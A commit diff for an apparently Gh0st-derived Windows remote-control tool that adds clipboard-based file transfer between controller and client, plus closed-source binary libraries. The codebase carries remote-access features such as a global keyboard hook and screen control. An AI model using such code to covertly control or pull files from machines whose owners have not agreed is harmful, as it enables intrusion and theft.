Feature: File copy/paste support in remote control
This commit is contained in:
@@ -15,3 +15,13 @@
|
|||||||
- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
|
- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
|
||||||
- [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)
|
- [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)
|
||||||
- [clip v1.11](https://github.com/dacap/clip)
|
- [clip v1.11](https://github.com/dacap/clip)
|
||||||
|
- [PrivateDesktop v0.0.1](https://github.com/yuanyuanxiang/SimplePlugins)
|
||||||
|
- [FileUpload v0.0.1](https://github.com/yuanyuanxiang/SimplePlugins)
|
||||||
|
|
||||||
|
## *Note*
|
||||||
|
|
||||||
|
The proper operation of the program depends on the above library files.
|
||||||
|
Some libraries are not open source, please contact author for details.
|
||||||
|
|
||||||
|
These libraries are all compiled personally by the author and can be used with confidence.
|
||||||
|
If you use libraries from other sources, there may be compilation risks.
|
||||||
|
|||||||
@@ -199,7 +199,9 @@ int main(int argc, const char *argv[])
|
|||||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||||||
CloseHandle(hMutex);
|
CloseHandle(hMutex);
|
||||||
|
#ifndef _DEBUG
|
||||||
return -2;
|
return -2;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
@@ -208,6 +210,9 @@ int main(int argc, const char *argv[])
|
|||||||
ClientApp& app(g_MyApp);
|
ClientApp& app(g_MyApp);
|
||||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||||
app.g_Connection->SetServer(ip, port);
|
app.g_Connection->SetServer(ip, port);
|
||||||
|
#ifdef _DEBUG
|
||||||
|
g_SETTINGS.SetServer(ip, port);
|
||||||
|
#endif
|
||||||
if (CLIENT_PARALLEL_NUM == 1) {
|
if (CLIENT_PARALLEL_NUM == 1) {
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||||
StartClientApp(&app);
|
StartClientApp(&app);
|
||||||
|
|||||||
@@ -195,6 +195,7 @@
|
|||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\file_upload.h" />
|
||||||
<ClInclude Include="..\common\ikcp.h" />
|
<ClInclude Include="..\common\ikcp.h" />
|
||||||
<ClInclude Include="..\common\location.h" />
|
<ClInclude Include="..\common\location.h" />
|
||||||
<ClInclude Include="..\common\wallet.h" />
|
<ClInclude Include="..\common\wallet.h" />
|
||||||
|
|||||||
@@ -428,7 +428,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
HeaderEncType encType = HeaderEncUnknown;
|
HeaderEncType encType = HeaderEncUnknown;
|
||||||
FlagType flagType = CheckHead(szPacketFlag, encType);
|
FlagType flagType = CheckHead(szPacketFlag, encType);
|
||||||
if (flagType == FLAG_UNKNOWN) {
|
if (flagType == FLAG_UNKNOWN) {
|
||||||
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip %d.\n",
|
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip: %d.\n",
|
||||||
szPacketFlag, maskType, ret);
|
szPacketFlag, maskType, ret);
|
||||||
m_CompressedBuffer->ClearBuffer();
|
m_CompressedBuffer->ClearBuffer();
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -171,6 +171,14 @@ public:
|
|||||||
m_nHostPort = uPort;
|
m_nHostPort = uPort;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string ServerIP() const {
|
||||||
|
return m_sCurIP;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ServerPort() const {
|
||||||
|
return m_nHostPort;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL IsRunning() const
|
BOOL IsRunning() const
|
||||||
{
|
{
|
||||||
return m_bIsRunning;
|
return m_bIsRunning;
|
||||||
|
|||||||
@@ -17,9 +17,34 @@
|
|||||||
#include "ScreenCapturerDXGI.h"
|
#include "ScreenCapturerDXGI.h"
|
||||||
#include <Shlwapi.h>
|
#include <Shlwapi.h>
|
||||||
#include <shlobj_core.h>
|
#include <shlobj_core.h>
|
||||||
|
#include "common/file_upload.h"
|
||||||
|
#include <thread>
|
||||||
|
|
||||||
#pragma comment(lib, "Shlwapi.lib")
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
|
|
||||||
|
#ifndef PLUGIN
|
||||||
|
#ifdef _WIN64
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
|
||||||
|
int UninitFileUpload() { return 0; }
|
||||||
|
std::vector<std::string> GetClipboardFiles() { return{}; }
|
||||||
|
bool GetCurrentFolderPath(std::string& outDir) { return false; }
|
||||||
|
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||||
|
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
|
||||||
|
finish(user);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -46,6 +71,11 @@ bool IsWindows8orHigher()
|
|||||||
|
|
||||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
|
#ifndef PLUGIN
|
||||||
|
extern CONNECT_ADDRESS g_SETTINGS;
|
||||||
|
m_conn = &g_SETTINGS;
|
||||||
|
InitFileUpload("");
|
||||||
|
#endif
|
||||||
m_bIsWorking = TRUE;
|
m_bIsWorking = TRUE;
|
||||||
m_bIsBlockInput = FALSE;
|
m_bIsBlockInput = FALSE;
|
||||||
g_hDesk = nullptr;
|
g_hDesk = nullptr;
|
||||||
@@ -269,7 +299,7 @@ VOID CScreenManager::SendBitMapInfo()
|
|||||||
CScreenManager::~CScreenManager()
|
CScreenManager::~CScreenManager()
|
||||||
{
|
{
|
||||||
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||||
|
UninitFileUpload();
|
||||||
m_bIsWorking = FALSE;
|
m_bIsWorking = FALSE;
|
||||||
|
|
||||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
@@ -281,6 +311,45 @@ CScreenManager::~CScreenManager()
|
|||||||
m_ScreenSpyObject = NULL;
|
m_ScreenSpyObject = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void RunFileReceiver(CScreenManager *mgr, const std::string &folder) {
|
||||||
|
auto start = time(0);
|
||||||
|
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||||
|
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
|
||||||
|
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||||||
|
pClient->setManagerCallBack(mgr, CManager::DataProcess);
|
||||||
|
// <20><><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
char cmd[300] = { COMMAND_GET_FILE };
|
||||||
|
memcpy(cmd + 1, folder.c_str(), folder.length());
|
||||||
|
pClient->Send2Server(cmd, sizeof(cmd));
|
||||||
|
pClient->RunEventLoop(TRUE);
|
||||||
|
}
|
||||||
|
delete pClient;
|
||||||
|
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
||||||
|
IOCPClient* pClient = (IOCPClient*)user;
|
||||||
|
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void RecvData(void* ptr) {
|
||||||
|
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void delay_destroy(IOCPClient* pClient, int sec) {
|
||||||
|
if (!pClient) return;
|
||||||
|
Sleep(sec * 1000);
|
||||||
|
delete pClient;
|
||||||
|
}
|
||||||
|
|
||||||
|
void FinishSend(void* user) {
|
||||||
|
IOCPClient* pClient = (IOCPClient*)user;
|
||||||
|
std::thread(delay_destroy, pClient, 15).detach();
|
||||||
|
}
|
||||||
|
|
||||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
switch(szBuffer[0]) {
|
switch(szBuffer[0]) {
|
||||||
@@ -303,6 +372,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case COMMAND_SCREEN_GET_CLIPBOARD: {
|
case COMMAND_SCREEN_GET_CLIPBOARD: {
|
||||||
|
auto files = GetClipboardFiles();
|
||||||
|
if (!files.empty())
|
||||||
|
{
|
||||||
|
char h[100] = {};
|
||||||
|
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||||
|
m_hash = std::string(h, h + 64);
|
||||||
|
m_hmac = std::string(h + 64, h + 80);
|
||||||
|
BYTE szBuffer[1] = { COMMAND_GET_FOLDER };
|
||||||
|
SendData(szBuffer, sizeof(szBuffer));
|
||||||
|
break;
|
||||||
|
}
|
||||||
SendClientClipboard();
|
SendClientClipboard();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -310,6 +390,47 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
|
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_GET_FOLDER: {
|
||||||
|
std::string folder;
|
||||||
|
if (GetCurrentFolderPath(folder)) {
|
||||||
|
char h[100] = {};
|
||||||
|
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||||
|
m_hash = std::string(h, h + 64);
|
||||||
|
m_hmac = std::string(h + 64, h + 80);
|
||||||
|
|
||||||
|
if (OpenClipboard(nullptr))
|
||||||
|
{
|
||||||
|
EmptyClipboard();
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
std::thread(RunFileReceiver, this, folder).detach();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_GET_FILE: {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
auto files = GetClipboardFiles();
|
||||||
|
std::string dir = (char*)(szBuffer + 1);
|
||||||
|
if (!files.empty() && !dir.empty()) {
|
||||||
|
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
|
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||||
|
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
|
||||||
|
m_hash, m_hmac).detach();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
delete pClient;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_SEND_FILE: {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac);
|
||||||
|
if (n) {
|
||||||
|
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str());
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -45,6 +45,12 @@ public:
|
|||||||
VOID SendClientClipboard();
|
VOID SendClientClipboard();
|
||||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
std::string m_hash;
|
||||||
|
std::string m_hmac;
|
||||||
|
CONNECT_ADDRESS *m_conn = nullptr;
|
||||||
|
void SetConnection(CONNECT_ADDRESS* conn){
|
||||||
|
m_conn = conn;
|
||||||
|
}
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
POINT m_point;
|
POINT m_point;
|
||||||
POINT m_lastPoint;
|
POINT m_lastPoint;
|
||||||
|
|||||||
@@ -6,3 +6,4 @@
|
|||||||
|
|
||||||
// TODO: reference any additional headers you need in STDAFX.H
|
// TODO: reference any additional headers you need in STDAFX.H
|
||||||
// and not in this file
|
// and not in this file
|
||||||
|
char g_MasterID[_MAX_PATH] = {};
|
||||||
|
|||||||
@@ -206,6 +206,7 @@
|
|||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\file_upload.h" />
|
||||||
<ClInclude Include="..\common\ikcp.h" />
|
<ClInclude Include="..\common\ikcp.h" />
|
||||||
<ClInclude Include="..\common\mask.h" />
|
<ClInclude Include="..\common\mask.h" />
|
||||||
<ClInclude Include="..\common\wallet.h" />
|
<ClInclude Include="..\common\wallet.h" />
|
||||||
|
|||||||
@@ -1,4 +1,13 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<PropertyGroup />
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LocalDebuggerCommandArguments>
|
||||||
|
</LocalDebuggerCommandArguments>
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LocalDebuggerCommandArguments>
|
||||||
|
</LocalDebuggerCommandArguments>
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
</PropertyGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -192,6 +192,9 @@ enum {
|
|||||||
TOKEN_UNINSTALL = 63, // ж<><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
TOKEN_UNINSTALL = 63, // ж<><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
TOKEN_PRIVATESCREEN = 64, // <20><>˽<EFBFBD><CBBD>Ļ
|
TOKEN_PRIVATESCREEN = 64, // <20><>˽<EFBFBD><CBBD>Ļ
|
||||||
TOKEN_MACHINE_MANAGE = 65, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
TOKEN_MACHINE_MANAGE = 65, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_GET_FOLDER = 66, // <20><>ȡĿ¼
|
||||||
|
COMMAND_GET_FILE = 67, // <20><>ȡ<EFBFBD>ļ<EFBFBD>
|
||||||
|
COMMAND_SEND_FILE = 68, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||||
|
|||||||
34
common/file_upload.h
Normal file
34
common/file_upload.h
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct FileChunkPacket
|
||||||
|
{
|
||||||
|
unsigned char cmd; // COMMAND_SEND_FILE
|
||||||
|
uint32_t fileIndex; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
uint32_t totalNum; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
uint64_t fileSize; // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||||
|
uint64_t offset; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||||
|
uint64_t dataLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
uint64_t nameLength; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD> '\0'<27><>
|
||||||
|
};
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
int InitFileUpload(const std::string hmac, int chunkSizeKb = 64, int sendDurationMs = 50);
|
||||||
|
|
||||||
|
int UninitFileUpload();
|
||||||
|
|
||||||
|
std::vector<std::string> GetClipboardFiles();
|
||||||
|
|
||||||
|
bool GetCurrentFolderPath(std::string& outDir);
|
||||||
|
|
||||||
|
typedef bool (*OnTransform)(void* user, FileChunkPacket* chunk, unsigned char* data, int size);
|
||||||
|
|
||||||
|
typedef void (*OnFinish)(void* user);
|
||||||
|
|
||||||
|
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||||
|
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac);
|
||||||
|
|
||||||
|
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac);
|
||||||
@@ -114,7 +114,11 @@ public:
|
|||||||
}
|
}
|
||||||
cv.notify_one();
|
cv.notify_one();
|
||||||
if (workerThread.joinable()) {
|
if (workerThread.joinable()) {
|
||||||
workerThread.join();
|
try {
|
||||||
|
workerThread.join();
|
||||||
|
} catch (const std::system_error& e) {
|
||||||
|
printf("Join failed: %s [%d]\n", e.what(), e.code().value());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
for (int i = 0; threadRun && i++ < 1000; Sleep(1));
|
for (int i = 0; threadRun && i++ < 1000; Sleep(1));
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
lib/FileUpload_Libx64.lib
Normal file
BIN
lib/FileUpload_Libx64.lib
Normal file
Binary file not shown.
BIN
lib/FileUpload_Libx64d.lib
Normal file
BIN
lib/FileUpload_Libx64d.lib
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -42,6 +42,8 @@
|
|||||||
#include "CWalletDlg.h"
|
#include "CWalletDlg.h"
|
||||||
#include <wallet.h>
|
#include <wallet.h>
|
||||||
#include "CRcEditDlg.h"
|
#include "CRcEditDlg.h"
|
||||||
|
#include <thread>
|
||||||
|
#include "common/file_upload.h"
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#define new DEBUG_NEW
|
#define new DEBUG_NEW
|
||||||
@@ -262,8 +264,7 @@ DllInfo* ReadPluginDll(const std::string& filename)
|
|||||||
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
|
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
|
||||||
if (offset != -1) {
|
if (offset != -1) {
|
||||||
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
||||||
if(hmac.empty())
|
|
||||||
hmac = THIS_CFG.GetStr("settings", "HMAC");
|
|
||||||
memcpy((char*)dllData + offset, masterId.c_str(), masterId.length());
|
memcpy((char*)dllData + offset, masterId.c_str(), masterId.length());
|
||||||
memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length());
|
memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length());
|
||||||
}
|
}
|
||||||
@@ -964,7 +965,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
{
|
{
|
||||||
AUTO_TICK(500);
|
AUTO_TICK(500);
|
||||||
CDialogEx::OnInitDialog();
|
CDialogEx::OnInitDialog();
|
||||||
|
int ret = InitFileUpload(GetHMAC());
|
||||||
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
||||||
|
|
||||||
m_GroupList = {"default"};
|
m_GroupList = {"default"};
|
||||||
@@ -1384,6 +1385,7 @@ void CMy2015RemoteDlg::OnClose()
|
|||||||
void CMy2015RemoteDlg::Release()
|
void CMy2015RemoteDlg::Release()
|
||||||
{
|
{
|
||||||
Mprintf("======> Release\n");
|
Mprintf("======> Release\n");
|
||||||
|
UninitFileUpload();
|
||||||
DeletePopupWindow();
|
DeletePopupWindow();
|
||||||
isClosed = TRUE;
|
isClosed = TRUE;
|
||||||
m_frpStatus = STATUS_EXIT;
|
m_frpStatus = STATUS_EXIT;
|
||||||
@@ -2050,6 +2052,30 @@ std::string getDateStr(int daysOffset = 0)
|
|||||||
return oss.str();
|
return oss.str();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
||||||
|
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||||||
|
if (!ctx->Send2Client(data, size)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void RecvData(void* ptr) {
|
||||||
|
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void delay_cancel(CONTEXT_OBJECT* ctx, int sec) {
|
||||||
|
if (!ctx) return;
|
||||||
|
Sleep(sec*1000);
|
||||||
|
ctx->CancelIO();
|
||||||
|
}
|
||||||
|
|
||||||
|
void FinishSend(void* user) {
|
||||||
|
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||||||
|
// 需要等待客户端接收完成方可关闭
|
||||||
|
std::thread(delay_cancel, ctx, 15).detach();
|
||||||
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||||
{
|
{
|
||||||
if (isClosed) {
|
if (isClosed) {
|
||||||
@@ -2057,10 +2083,33 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
clock_t tick = clock();
|
clock_t tick = clock();
|
||||||
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||||
|
LPBYTE szBuffer = ContextObject->InDeCompressedBuffer.GetBuffer();
|
||||||
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||||
// 【L】:主机上下线和授权
|
// 【L】:主机上下线和授权
|
||||||
// 【x】:对话框相关功能
|
// 【x】:对话框相关功能
|
||||||
switch (cmd) {
|
switch (cmd) {
|
||||||
|
case COMMAND_GET_FILE: {
|
||||||
|
// 发送文件
|
||||||
|
auto files = GetClipboardFiles();
|
||||||
|
if (!files.empty()) {
|
||||||
|
std::string dir = (char*)(szBuffer + 1);
|
||||||
|
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
|
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
|
||||||
|
hash, hmac).detach();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_SEND_FILE: {
|
||||||
|
// 接收文件
|
||||||
|
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
|
CONNECT_ADDRESS addr;
|
||||||
|
memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash)));
|
||||||
|
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
|
||||||
|
if (n) {
|
||||||
|
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case TOKEN_GETVERSION: { // 获取版本【L】
|
case TOKEN_GETVERSION: { // 获取版本【L】
|
||||||
// TODO 维持心跳
|
// TODO 维持心跳
|
||||||
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
||||||
@@ -3329,8 +3378,7 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
|
|||||||
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
|
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
|
||||||
{
|
{
|
||||||
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
||||||
if (hmac.empty())
|
|
||||||
hmac = THIS_CFG.GetStr("settings", "HMAC");
|
|
||||||
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
|
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
|
||||||
memcpy(bToken + 1, masterId.c_str(), masterId.length());
|
memcpy(bToken + 1, masterId.c_str(), masterId.length());
|
||||||
memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||||
@@ -3536,21 +3584,45 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
{
|
{
|
||||||
if (dlg == operateWnd)break;
|
if (dlg == operateWnd)break;
|
||||||
// [1] 本地 -> 远程
|
// [1] 本地 -> 远程
|
||||||
CString strText = GetClipboardText();
|
auto files = GetClipboardFiles();
|
||||||
if (!strText.IsEmpty()) {
|
if (!files.empty())
|
||||||
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
|
{
|
||||||
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
// 获取远程目录
|
||||||
memcpy(szBuffer + 1, strText.GetString(), strText.GetLength());
|
BYTE szBuffer[100] = { COMMAND_GET_FOLDER };
|
||||||
dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1);
|
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
Mprintf("【Ctrl+V】 从本地拷贝到远程 \n");
|
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
|
||||||
SAFE_DELETE_ARRAY(szBuffer);
|
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||||
|
dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer));
|
||||||
|
